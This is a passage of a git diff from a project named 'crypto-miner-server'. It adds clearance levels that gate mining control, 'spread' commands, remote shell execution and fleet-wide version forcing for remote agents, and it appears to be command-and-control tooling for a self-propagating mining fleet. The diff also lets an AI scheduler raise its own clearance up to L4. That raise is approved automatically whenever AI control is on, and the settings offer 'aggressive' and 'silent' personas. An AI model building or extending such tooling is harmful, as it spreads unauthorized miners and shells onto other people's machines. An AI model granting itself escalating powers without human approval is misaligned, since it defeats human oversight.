LevelLabel(required)) +} + +func normalizeKey(s string) string { + s = strings.TrimSpace(strings.ToLower(s)) + return strings.ReplaceAll(s, "-", "_") +} diff --git a/server/internal/db/clearance.go b/server/internal/db/clearance.go new file mode 100644 index 0000000..4e4a747 --- /dev/null +++ b/server/internal/db/clearance.go @@ -0,0 +1,100 @@ +package db + +import ( + "database/sql" + "fmt" + "strings" +) + +// ClearanceEvent is one clearance elevation audit row. +type ClearanceEvent struct { + ID int64 `json:"id"` + AgentID string `json:"agent_id"` + FromLevel int `json:"from_level"` + ToLevel int `json:"to_level"` + Reason string `json:"reason"` + Source string `json:"source"` + Timestamp string `json:"ts"` +} + +func (d *Database) ensureClearanceEventsTable() error { + _, err := d.Exec(`CREATE TABLE IF NOT EXISTS clearance_events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + agent_id TEXT NOT NULL, + from_level INTEGER NOT NULL DEFAULT 0, + to_level INTEGER NOT NULL DEFAULT 0, + reason TEXT NOT NULL DEFAULT '', + source TEXT NOT NULL DEFAULT '', + ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`) + if err != nil { + return err + } + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_agent ON clearance_events(agent_id)`) + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_ts ON clearance_events(ts)`) + return nil +} + +// InsertClearanceEvent logs a clearance elevation. +func (d *Database) InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error { + if d == nil { + return nil + } + if err := d.ensureClearanceEventsTable(); err != nil { + return err + } + _, err := d.Exec( + `INSERT INTO clearance_events (agent_id, from_level, to_level, reason, source) VALUES (?, ?, ?, ?, ?)`, + agentID, fromLevel, toLevel, reason, source, + ) + return err +} + +// ListClearanceEvents returns recent clearance events for an agent (or fleet-wide when agentID empty). +func (d *Database) ListClearanceEvents(agentID string, limit int) ([]ClearanceEvent, error) { + if d == nil { + return nil, nil + } + if err := d.ensureClearanceEventsTable(); err != nil { + return nil, err + } + if limit <= 0 { + limit = 50 + } + if limit > 500 { + limit = 500 + } + + var rows *sql.Rows + var err error + agentID = strings.TrimSpace(agentID) + if agentID != "" { + rows, err = d.Query( + `SELECT id, agent_id, from_level, to_level, reason, source, ts + FROM clearance_events WHERE agent_id = ? ORDER BY id DESC LIMIT ?`, + agentID, limit, + ) + } else { + rows, err = d.Query( + `SELECT id, agent_id, from_level, to_level, reason, source, ts + FROM clearance_events ORDER BY id DESC LIMIT ?`, + limit, + ) + } + if err != nil { + return nil, fmt.Errorf("list clearance events: %w", err) + } + defer rows.Close() + + out := make([]ClearanceEvent, 0, limit) + for rows.Next() { + var rec ClearanceEvent + var ts string + if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.FromLevel, &rec.ToLevel, &rec.Reason, &rec.Source, &ts); err != nil { + return nil, err + } + rec.Timestamp = ts + out = append(out, rec) + } + return out, rows.Err() +} diff --git a/server/main.go b/server/main.go index f3fc58d..28f80f1 100644 --- a/server/main.go +++ b/server/main.go @@ -17,6 +17,7 @@ import ( "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/api" + "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/builder" "crypto-miner-server/internal/cloudflared" "crypto-miner-server/internal/db" @@ -138,6 +139,7 @@ func main() { wsHub := api.NewWSHub(database) adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled) wsHub.SetAdaptiveEngine(adaptiveEngine) + wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database)) wsHub.SetAIHandler(aiHandler) wsHub.SetFleetSecret(cfg.Server.FleetSecret) api.SetAgentPathSecret(cfg.Server.FleetSecret) @@ -272,8 +274,10 @@ func main() { fleetAISched := fleetai.NewScheduler( &api.ConfigAIAdapter{Src: configProvider}, &api.WSHubSnapshotAdapter{Hub: wsHub}, - &api.FleetAIExecutor{Hub: wsHub}, + &api.ClearanceGuardExecutor{Inner: &api.FleetAIExecutor{Hub: wsHub}, Clearance: wsHub.ClearanceManager()}, &api.DatabaseAIDecisionStore{DB: database}, + &api.DatabaseCourtAdapter{DB: database}, + wsHub.ClearanceManager(), ) fleetAISched.Start() defer fleetAISched.Stop() @@ -502,11 +506,13 @@ func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView { interval = 60 } return api.FleetAIConfigView{ - AIControlEnabled: s.AIControlEnabled, - AIEndpoint: s.AIEndpoint, - AIModel: s.AIModel, - AINoContext: s.AINoContext, - AIDecisionIntervalSec: interval, + AIControlEnabled: s.AIControlEnabled, + AIEndpoint: s.AIEndpoint, + AIModel: s.AIModel, + AINoContext: s.AINoContext, + AIDecisionIntervalSec: interval, + AIAutoElevateClearance: s.AIAutoElevateClearance || s.AIControlEnabled, + AIPersona: fleetai.NormalizePersona(s.AIPersona), } } @@ -522,8 +528,10 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro "ai_control_enabled": v.AIControlEnabled, "ai_endpoint": v.AIEndpoint, "ai_model": v.AIModel, - "ai_no_context": v.AINoContext, - "ai_decision_interval_sec": v.AIDecisionIntervalSec, + "ai_no_context": v.AINoContext, + "ai_decision_interval_sec": v.AIDecisionIntervalSec, + "ai_auto_elevate_clearance": v.AIAutoElevateClearance, + "ai_persona": fleetai.NormalizePersona(v.AIPersona), }, }) if err != nil { diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 4d13b14..ef4871e 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -230,6 +230,14 @@ export const api = { params.set('limit', String(limit)); return fetchJSON(`/ai/decisions?${params}`); }, + getClearanceEvents: (agentId?: string, limit = 50) => { + const params = new URLSearchParams(); + if (agentId?.trim()) params.set('agent_id', agentId.trim()); + params.set('limit', String(limit)); + return fetchJSON( + `/ai/clearance-events?${params}`, + ); + }, getAIModels: (endpoint: string) => fetchJSON<{ models: string[]; endpoint?: string; error?: string }>( `/ai/models?endpoint=${encodeURIComponent(endpoint)}`, diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index f264c86..f936add 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -184,6 +184,21 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { } break; } + case 'clearance_elevated': { + const p = msg.payload as { + agent_id: string; + from_level: number; + to_level: number; + reason?: string; + source?: string; + }; + setAgents((prev) => + prev.map((a) => + a.id === p.agent_id ? { ...a, clearance_level: p.to_level } : a, + ), + ); + break; + } case 'new_share': { const share = msg.payload as Share; setRecentShares((prev) => [share, ...prev].slice(0, 50)); diff --git a/server/web/src/help/clearance.test.ts b/server/web/src/help/clearance.test.ts new file mode 100644 index 0000000..9c745f7 --- /dev/null +++ b/server/web/src/help/clearance.test.ts @@ -0,0 +1,28 @@ +/** + * @vitest-environment node + */ +import { describe, expect, it } from 'vitest'; +import { + clearanceLabel, + clearancePermissions, + formatClearanceElevation, +} from './clearance'; + +describe('clearance helpers', () => { + it('labels L0–L4', () => { + expect(clearanceLabel(0)).toBe('L0'); + expect(clearanceLabel(4)).toBe('L4'); + expect(clearanceLabel(99)).toBe('L4'); + }); + + it('describes permissions per level', () => { + expect(clearancePermissions(2)).toMatch(/spread/i); + expect(clearancePermissions(3)).toMatch(/shell/i); + }); + + it('formats AI elevation flash copy', () => { + expect( + formatClearanceElevation({ to_level: 4, source: 'ai_scheduler', reason: 'stuck host recovery' }), + ).toBe('AI requested L4 — approved'); + }); +}); diff --git a/server/web/src/help/clearance.ts b/server/web/src/help/clearance.ts new file mode 100644 index 0000000..9112799 --- /dev/null +++ b/server/web/src/help/clearance.ts @@ -0,0 +1,58 @@ +/** Security clearance L0–L4 (mirrors server/internal/clearance). */ + +export const CLEARANCE_MIN = 0; +export const CLEARANCE_MAX = 4; + +export interface ClearanceEventRecord { + id: number; + agent_id: string; + from_level: number; + to_level: number; + reason: string; + source: string; + ts: string; +} + +export function clearanceLabel(level: number): string { + const n = Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level)); + return `L${n}`; +} + +export function clearancePermissions(level: number): string { + switch (Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level))) { + case 0: + return 'Stats and read-only probes'; + case 1: + return 'Mining: pause, resume, restart'; + case 2: + return 'Spread: discover_and_join, spread_now, stage_fetch'; + case 3: + return 'Shell: exec_shell, agent_command'; + case 4: + return 'Forge: set_agent_version, reorder_tiers fleet-wide'; + default: + return 'Unknown clearance'; + } +} + +export function formatClearanceElevation(event: { + to_level: number; + source?: string; + reason?: string; +}): string { + const level = clearanceLabel(event.to_level); + if (event.source === 'ai_scheduler') { + return `AI requested ${level} — approved`; + } + if (event.reason?.trim()) { + return `${level} — ${event.reason.trim()}`; + } + return `Elevated to ${level}`; +} + +export function clearanceTimelineSummary(event: ClearanceEventRecord): string { + const from = clearanceLabel(event.from_level); + const to = clearanceLabel(event.to_level); + const who = event.source === 'ai_scheduler' ? 'AI' : event.source || 'system'; + return `${who}: ${from} → ${to}${event.reason ? ` (${event.reason})` : ''}`; +} diff --git a/server/web/src/help/wsStatsCoalesce.ts b/server/web/src/help/wsStatsCoalesce.ts index 05b3fd9..43d645c 100644 --- a/server/web/src/help/wsStatsCoalesce.ts +++ b/server/web/src/help/wsStatsCoalesce.ts @@ -92,4 +92,5 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([ 'new_share', 'fleet_alert', 'command_result', + 'clearance_elevated', ]); diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 9d727b4..24ffd89 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -330,6 +330,8 @@ export interface ServerSettings { ai_decision_interval_sec?: number; /** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */ ai_interval_sec?: number; + /** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */ + ai_persona?: string; /** Triple onion recon/deploy gates pushed to agents at auth. */ triple_onion_policy?: { patch_first?: boolean;